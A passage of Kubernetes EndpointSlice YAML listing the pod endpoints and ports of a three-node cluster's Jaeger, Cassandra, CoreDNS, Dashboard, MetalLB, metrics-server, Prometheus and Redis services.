      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: jaeger-3.4.1
      kubernetes.io/service-name: jaeger-agent
    name: jaeger-agent-tw9jm
    namespace: jaeger
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: jaeger-agent
      uid: 5d74d951-a29e-4c28-8d82-90b5fcbc65bb
    resourceVersion: "18046303"
    uid: 20b4c791-bd54-478f-8f10-ae818ac9b208
  ports:
  - name: http
    port: 5778
    protocol: TCP
  - name: jaeger-binary
    port: 6832
    protocol: UDP
  - name: zipkin-compact
    port: 5775
    protocol: UDP
  - name: admin
    port: 14271
    protocol: TCP
  - name: jaeger-compact
    port: 6831
    protocol: UDP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.133.186
    conditions:
      ready: true
      serving: true
      terminating: false
    hostname: jaeger-cassandra-1
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: jaeger-cassandra-1
      namespace: jaeger
      uid: 43d776b9-7f0a-4550-9f38-7e4dcf5ba9c3
  - addresses:
    - 192.168.61.254
    conditions:
      ready: true
      serving: true
      terminating: false
    hostname: jaeger-cassandra-2
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: jaeger-cassandra-2
      namespace: jaeger
      uid: 359eef19-5e11-4477-934d-40b457a435a8
  - addresses:
    - 192.168.34.38
    conditions:
      ready: true
      serving: true
      terminating: false
    hostname: jaeger-cassandra-0
    nodeName: k8s-m-3
    targetRef:
      kind: Pod
      name: jaeger-cassandra-0
      namespace: jaeger
      uid: 8a71195c-a809-4718-b50b-b118647f9461
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:27:04Z"
    creationTimestamp: "2025-10-19T15:15:43Z"
    generateName: jaeger-cassandra-
    generation: 237
    labels:
      app: cassandra
      app.kubernetes.io/managed-by: Helm
      chart: cassandra-0.15.3
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      heritage: Helm
      kubernetes.io/service-name: jaeger-cassandra
      release: jaeger
      service.kubernetes.io/headless: ""
    name: jaeger-cassandra-5ddhl
    namespace: jaeger
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: jaeger-cassandra
      uid: 3f8a4e53-82dc-46d6-8600-c74c81fabb98
    resourceVersion: "18046766"
    uid: 040cd54f-f554-42c6-beb5-5b756c6121ed
  ports:
  - name: tls
    port: 7001
    protocol: TCP
  - name: cql
    port: 9042
    protocol: TCP
  - name: intra
    port: 7000
    protocol: TCP
  - name: thrift
    port: 9160
    protocol: TCP
  - name: jmx
    port: 7199
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.133.146
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: jaeger-collector-5b674d4987-h2655
      namespace: jaeger
      uid: f4755058-919b-4123-b33c-b357c30006e2
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:18:13Z"
    creationTimestamp: "2025-10-19T15:15:44Z"
    generateName: jaeger-collector-
    generation: 19
    labels:
      app.kubernetes.io/component: collector
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: jaeger-3.4.1
      kubernetes.io/service-name: jaeger-collector
    name: jaeger-collector-wtw2g
    namespace: jaeger
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: jaeger-collector
      uid: b7b88733-4896-4224-9a63-9050487d694b
    resourceVersion: "18009057"
    uid: c2c1f50d-095d-4249-8e94-d47c48c190d1
  ports:
  - appProtocol: grpc
    name: grpc
    port: 14250
    protocol: TCP
  - name: admin
    port: 14269
    protocol: TCP
  - appProtocol: http
    name: http
    port: 14268
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.133.151
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: jaeger-query-699bddc747-pm4nn
      namespace: jaeger
      uid: 442d9cd5-5710-4af6-ad7b-f7f2e262cf17
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:18:10Z"
    creationTimestamp: "2025-10-19T15:15:44Z"
    generateName: jaeger-query-
    generation: 19
    labels:
      app.kubernetes.io/component: query
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: jaeger-3.4.1
      kubernetes.io/service-name: jaeger-query
    name: jaeger-query-f8m8n
    namespace: jaeger
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: jaeger-query
      uid: 83b4251f-b62b-479a-87ce-99473b386d9c
    resourceVersion: "18009036"
    uid: 00037f7b-be8a-4212-b265-66ab755a7c35
  ports:
  - name: query
    port: 16686
    protocol: TCP
  - name: grpc
    port: 16685
    protocol: TCP
  - name: admin
    port: 16687
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.133.157
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: coredns-674b8bbfcf-rh6tw
      namespace: kube-system
      uid: b47254e6-c898-4c8d-b218-5a2f937b69e5
  - addresses:
    - 192.168.34.43
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-3
    targetRef:
      kind: Pod
      name: coredns-674b8bbfcf-jjtjh
      namespace: kube-system
      uid: e3134089-14ed-444c-95f0-128f8d33c755
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:21Z"
    creationTimestamp: "2025-09-21T11:09:25Z"
    generateName: kube-dns-
    generation: 106
    labels:
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      k8s-app: kube-dns
      kubernetes.io/cluster-service: "true"
      kubernetes.io/name: CoreDNS
      kubernetes.io/service-name: kube-dns
    name: kube-dns-4jn4n
    namespace: kube-system
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: kube-dns
      uid: 337b8a7e-8525-4d6c-96be-987f3667b1f9
    resourceVersion: "18046349"
    uid: 15a879f5-6942-426b-b232-e9f1d550262a
  ports:
  - name: metrics
    port: 9153
    protocol: TCP
  - name: dns
    port: 53
    protocol: UDP
  - name: dns-tcp
    port: 53
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.225
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: kubernetes-dashboard-api-7ccd9b445f-vvzkr
      namespace: kubernetes-dashboard
      uid: e89b5586-e8a2-4656-b358-677f6568fd9e
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:23:49Z"
    creationTimestamp: "2025-09-23T10:16:02Z"
    generateName: kubernetes-dashboard-api-
    generation: 27
    labels:
      app.kubernetes.io/component: api
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-api
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.13.0
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: kubernetes-dashboard-7.13.0
      kubernetes.io/service-name: kubernetes-dashboard-api
    name: kubernetes-dashboard-api-2jqlp
    namespace: kubernetes-dashboard
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: kubernetes-dashboard-api
      uid: fced0b00-f357-4067-8962-214d55b49881
    resourceVersion: "18033504"
    uid: 45b535cd-49be-496b-972d-e4563096646d
  ports:
  - name: api
    port: 8000
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.203
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: kubernetes-dashboard-auth-6ff66ccf8d-gstmd
      namespace: kubernetes-dashboard
      uid: 69cf41bf-5d5d-4f2b-8093-f28b727b481f
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:24:37Z"
    creationTimestamp: "2025-09-23T10:16:02Z"
    generateName: kubernetes-dashboard-auth-
    generation: 42
    labels:
      app.kubernetes.io/component: auth
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-auth
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.3.0
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: kubernetes-dashboard-7.13.0
      kubernetes.io/service-name: kubernetes-dashboard-auth
    name: kubernetes-dashboard-auth-h9q52
    namespace: kubernetes-dashboard
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: kubernetes-dashboard-auth
      uid: dbd3b92f-8216-4f45-a548-0bbd6f431554
    resourceVersion: "18033928"
    uid: 0e2c1446-f5e8-4235-bbb7-69698ab3b3aa
  ports:
  - name: auth
    port: 8000
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.133.132
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: kubernetes-dashboard-kong-648658d45f-qw2xv
      namespace: kubernetes-dashboard
      uid: 10d3fce7-d2f0-44e4-b6d1-ed1ac19b9a82
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:13:28Z"
    creationTimestamp: "2025-09-23T10:16:01Z"
    generateName: kubernetes-dashboard-kong-proxy-
    generation: 68
    labels:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kong
      app.kubernetes.io/version: "3.8"
      enable-metrics: "true"
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: kong-2.46.0
      kubernetes.io/service-name: kubernetes-dashboard-kong-proxy
    name: kubernetes-dashboard-kong-proxy-fzmhq
    namespace: kubernetes-dashboard
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: kubernetes-dashboard-kong-proxy
      uid: a0a94a3b-0ea3-4924-b282-8e07c84efc50
    resourceVersion: "18007905"
    uid: 2fa34efc-e6c9-4b71-a678-bc5fc8d5ab92
  ports:
  - name: kong-proxy-tls
    port: 8443
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.133.179
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: kubernetes-dashboard-metrics-scraper-547874fcf-ffmdz
      namespace: kubernetes-dashboard
      uid: f84e9508-9995-47b4-96bc-ca838570ad7a
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:13:17Z"
    creationTimestamp: "2025-09-23T10:16:02Z"
    generateName: kubernetes-dashboard-metrics-scraper-
    generation: 41
    labels:
      app.kubernetes.io/component: metrics-scraper
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-metrics-scraper
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.2.2
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: kubernetes-dashboard-7.13.0
      kubernetes.io/service-name: kubernetes-dashboard-metrics-scraper
    name: kubernetes-dashboard-metrics-scraper-nrp9f
    namespace: kubernetes-dashboard
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: kubernetes-dashboard-metrics-scraper
      uid: ced4c717-e9f6-449e-aa48-79db94bcc0d6
    resourceVersion: "18007819"
    uid: 35c3177d-c69a-49db-8245-b5d17e7e353a
  ports:
  - name: ""
    port: 8000
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.228
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: kubernetes-dashboard-web-7796b9fbbb-9b8kx
      namespace: kubernetes-dashboard
      uid: d47e0ff4-6ec3-4df2-a6e6-8c9d01b5c74d
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:23:49Z"
    creationTimestamp: "2025-09-23T10:16:01Z"
    generateName: kubernetes-dashboard-web-
    generation: 27
    labels:
      app.kubernetes.io/component: web
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-web
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.7.0
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: kubernetes-dashboard-7.13.0
      kubernetes.io/service-name: kubernetes-dashboard-web
    name: kubernetes-dashboard-web-jb4tm
    namespace: kubernetes-dashboard
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: kubernetes-dashboard-web
      uid: 2b2b7f7c-50bb-4e4b-945a-23930af62023
    resourceVersion: "18033494"
    uid: 9713ff79-5de2-4289-ade7-a6df07083af0
  ports:
  - name: web
    port: 8000
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.233
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: metallb-controller-5754956df6-mx99q
      namespace: metallb-system
      uid: 0d6e3bac-8c3f-4f62-8cd3-8060f662dc8d
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:25:17Z"
    creationTimestamp: "2025-09-21T18:13:53Z"
    generateName: metallb-webhook-service-
    generation: 57
    labels:
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: metallb-0.15.2
      kubernetes.io/service-name: metallb-webhook-service
    name: metallb-webhook-service-5nvsc
    namespace: metallb-system
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: metallb-webhook-service
      uid: fed617ba-a22e-4b30-ac3d-073dde2f7e4f
    resourceVersion: "18034252"
    uid: 48b8d98b-c8a0-408d-9fdd-8cc0b050a85d
  ports:
  - name: ""
    port: 9443
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.133.167
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: metrics-server-5dd7b49d79-fk9d8
      namespace: metrics-server
      uid: 97a4b6cc-d156-48fe-9670-236128b9ca44
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:14:17Z"
    creationTimestamp: "2025-09-22T18:30:50Z"
    generateName: metrics-server-
    generation: 62
    labels:
      app.kubernetes.io/instance: metrics-server
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metrics-server
      app.kubernetes.io/version: 0.8.0
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: metrics-server-3.13.0
      kubernetes.io/service-name: metrics-server
    name: metrics-server-n2sqt
    namespace: metrics-server
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: metrics-server
      uid: 73ba72a9-6af3-4c87-8c29-adcf507b3c9e
    resourceVersion: "18008209"
    uid: f28bb87e-e832-4fbc-b42b-cba379a0aef7
  ports:
  - appProtocol: https
    name: https
    port: 10250
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.222
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: prometheus-community-alertmanager-0
      namespace: prometheus
      uid: 8f5ad9ce-3fe8-4153-a3eb-ae4327474854
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:25:05Z"
    creationTimestamp: "2025-09-26T14:49:44Z"
    generateName: prometheus-community-alertmanager-
    generation: 37
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: alertmanager
      app.kubernetes.io/version: v0.28.1
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: alertmanager-1.26.0
      kubernetes.io/service-name: prometheus-community-alertmanager
    name: prometheus-community-alertmanager-2f5fd
    namespace: prometheus
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: prometheus-community-alertmanager
      uid: c7db8cf9-da6e-44fb-af6c-3d7f195f3cce
    resourceVersion: "18034160"
    uid: d7515abe-77dd-4582-b930-e2114f862e0d
  ports:
  - name: http
    port: 9093
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.222
    conditions:
      ready: true
      serving: true
      terminating: false
    hostname: prometheus-community-alertmanager-0
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: prometheus-community-alertmanager-0
      namespace: prometheus
      uid: 8f5ad9ce-3fe8-4153-a3eb-ae4327474854
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:25:05Z"
    creationTimestamp: "2025-09-26T14:49:44Z"
    generateName: prometheus-community-alertmanager-headless-
    generation: 37
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: alertmanager
      app.kubernetes.io/version: v0.28.1
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: alertmanager-1.26.0
      kubernetes.io/service-name: prometheus-community-alertmanager-headless
      service.kubernetes.io/headless: ""
    name: prometheus-community-alertmanager-headless-zf774
    namespace: prometheus
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: prometheus-community-alertmanager-headless
      uid: 8da90085-f6c6-451b-b4ea-1ffbffbc00e4
    resourceVersion: "18034158"
    uid: 7b1e7e14-8c6f-4351-871e-3342483ae2fe
  ports:
  - name: http
    port: 9093
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.218
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: prometheus-community-kube-state-metrics-7867455795-mk5k4
      namespace: prometheus
      uid: f7a9e0e2-568f-44ff-8eea-755e53c77c20
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:25:10Z"
    creationTimestamp: "2025-09-26T14:49:44Z"
    generateName: prometheus-community-kube-state-metrics-
    generation: 58
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kube-state-metrics
      app.kubernetes.io/part-of: kube-state-metrics
      app.kubernetes.io/version: 2.17.0
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: kube-state-metrics-6.3.0
      kubernetes.io/service-name: prometheus-community-kube-state-metrics
    name: prometheus-community-kube-state-metrics-qn55h
    namespace: prometheus
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: prometheus-community-kube-state-metrics
      uid: 6a21fe9b-9ab0-4b65-b243-c7ed0fcddf92
    resourceVersion: "18034208"
    uid: 2c658b6d-baae-4c4e-a21c-a46f5d73e03a
  ports:
  - name: http
    port: 8080
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 172.16.30.17
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: prometheus-community-prometheus-node-exporter-nkzcl
      namespace: prometheus
      uid: 7a5f33f7-eb0f-4267-8b73-5d6a05ce48af
  - addresses:
    - 172.16.30.16
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: prometheus-community-prometheus-node-exporter-jrzbq
      namespace: prometheus
      uid: e3898f8b-fa9c-4e77-880b-0a6c5cf2a592
  - addresses:
    - 172.16.30.18
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-3
    targetRef:
      kind: Pod
      name: prometheus-community-prometheus-node-exporter-2w626
      namespace: prometheus
      uid: 6a4283fd-86be-4b7f-a65b-15aa5eaa6639
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:24:38Z"
    creationTimestamp: "2025-09-26T14:49:44Z"
    generateName: prometheus-community-prometheus-node-exporter-
    generation: 117
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-node-exporter
      app.kubernetes.io/part-of: prometheus-node-exporter
      app.kubernetes.io/version: 1.9.1
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: prometheus-node-exporter-4.48.0
      kubernetes.io/service-name: prometheus-community-prometheus-node-exporter
    name: prometheus-community-prometheus-node-exporter-xq7dt
    namespace: prometheus
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: prometheus-community-prometheus-node-exporter
      uid: a720d40b-e503-4ab9-937e-43461fec1f9f
    resourceVersion: "18045946"
    uid: e45ca88d-451b-4317-964e-40f3658d0890
  ports:
  - name: metrics
    port: 9100
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.133.187
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: prometheus-community-prometheus-pushgateway-69cb7cfdbb-s5gqp
      namespace: prometheus
      uid: 2b4de705-76d0-4e04-98ba-70afb2966fc4
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:13:26Z"
    creationTimestamp: "2025-09-26T14:49:44Z"
    generateName: prometheus-community-prometheus-pushgateway-
    generation: 67
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-pushgateway
      app.kubernetes.io/version: v1.11.1
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: prometheus-pushgateway-3.4.1
      kubernetes.io/service-name: prometheus-community-prometheus-pushgateway
    name: prometheus-community-prometheus-pushgateway-5q99g
    namespace: prometheus
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: prometheus-community-prometheus-pushgateway
      uid: 25e313ee-9aff-4f49-aae0-c2cf5ef21da7
    resourceVersion: "18007886"
    uid: 036b2e5d-90a5-4494-8d88-b74969a6077a
  ports:
  - name: http
    port: 9091
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.201
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: prometheus-community-server-7c866c8b56-8lndl
      namespace: prometheus
      uid: 1d099244-a251-467c-a521-027af54b3f4e
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:25:24Z"
    creationTimestamp: "2025-09-26T14:49:44Z"
    generateName: prometheus-community-server-
    generation: 51
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus
      app.kubernetes.io/part-of: prometheus
      app.kubernetes.io/version: v3.6.0
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: prometheus-27.39.0
      kubernetes.io/service-name: prometheus-community-server
    name: prometheus-community-server-fb64t
    namespace: prometheus
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: prometheus-community-server
      uid: b4911eed-253c-48a3-9e0c-15e54c1c95a9
    resourceVersion: "18034283"
    uid: 438a9137-7f9e-43cf-ac8d-88ec363f5b86
  ports:
  - name: http
    port: 9090
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.133.129
    conditions:
      ready: true
      serving: true
      terminating: false
    hostname: redis-replicas-1
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: redis-replicas-1
      namespace: redis
      uid: 469b01a6-e14a-4403-b68d-8c7a33b70b2c
  - addresses:
    - 192.168.61.239
    conditions:
      ready: true
      serving: true
      terminating: false
    hostname: redis-replicas-2
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: redis-replicas-2
      namespace: redis
      uid: 9819eacd-77fa-4bd9-9a80-031f26edee0a
  - addresses:
    - 192.168.34.35
    conditions:
      ready: true
      serving: true
      terminating: false
    hostname: redis-replicas-0
    nodeName: k8s-m-3
    targetRef:
      kind: Pod
      name: redis-replicas-0
      namespace: redis
      uid: 40056cc8-1ed6-474c-a239-abd29a527c86
  - addresses:
    - 192.168.34.34
    conditions:
      ready: true
      serving: true
      terminating: false
    hostname: redis-master-0
    nodeName: k8s-m-3
    targetRef:
      kind: Pod
      name: redis-master-0
      namespace: redis
      uid: f4b0f3e8-7e7d-4e22-8b81-8a62c53e45e7
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:47Z"
    creationTimestamp: "2025-10-19T11:15:44Z"
    generateName: redis-headless-
    generation: 2212
    labels:
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: redis-23.1.3
      kubernetes.io/service-name: redis-headless
      service.kubernetes.io/headless: ""
    name: redis-headless-rfl65
    namespace: redis
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: redis-headless
      uid: f91d28f0-48c7-40e1-ba2b-1fe8a13a2d53
    resourceVersion: "18046497"
    uid: ee1eabe1-2ae4-4173-95d7-1b2abb2610a0
  ports:
  - name: tcp-redis
    port: 6379
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.34.34
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-3
    targetRef:
      kind: Pod
      name: redis-master-0
      namespace: redis
      uid: f4b0f3e8-7e7d-4e22-8b81-8a62c53e45e7
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:41Z"
    creationTimestamp: "2025-10-19T11:15:44Z"
    generateName: redis-master-
    generation: 66
    labels:
      app.kubernetes.io/component: master
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: redis-23.1.3
      kubernetes.io/service-name: redis-master
    name: redis-master-gx646
    namespace: redis
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: redis-master
      uid: b4fa9c12-4b33-4023-a400-d7e1db8bfefd
    resourceVersion: "18046454"
    uid: 86d0ec03-e9a4-4031-983b-ccb46ad95779
  ports:
  - name: tcp-redis
    port: 6379
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.133.129
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: redis-replicas-1
      namespace: redis
      uid: 469b01a6-e14a-4403-b68d-8c7a33b70b2c
  - addresses:
    - 192.168.61.239
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: redis-replicas-2
      namespace: redis
      uid: 9819eacd-77fa-4bd9-9a80-031f26edee0a
  - addresses:
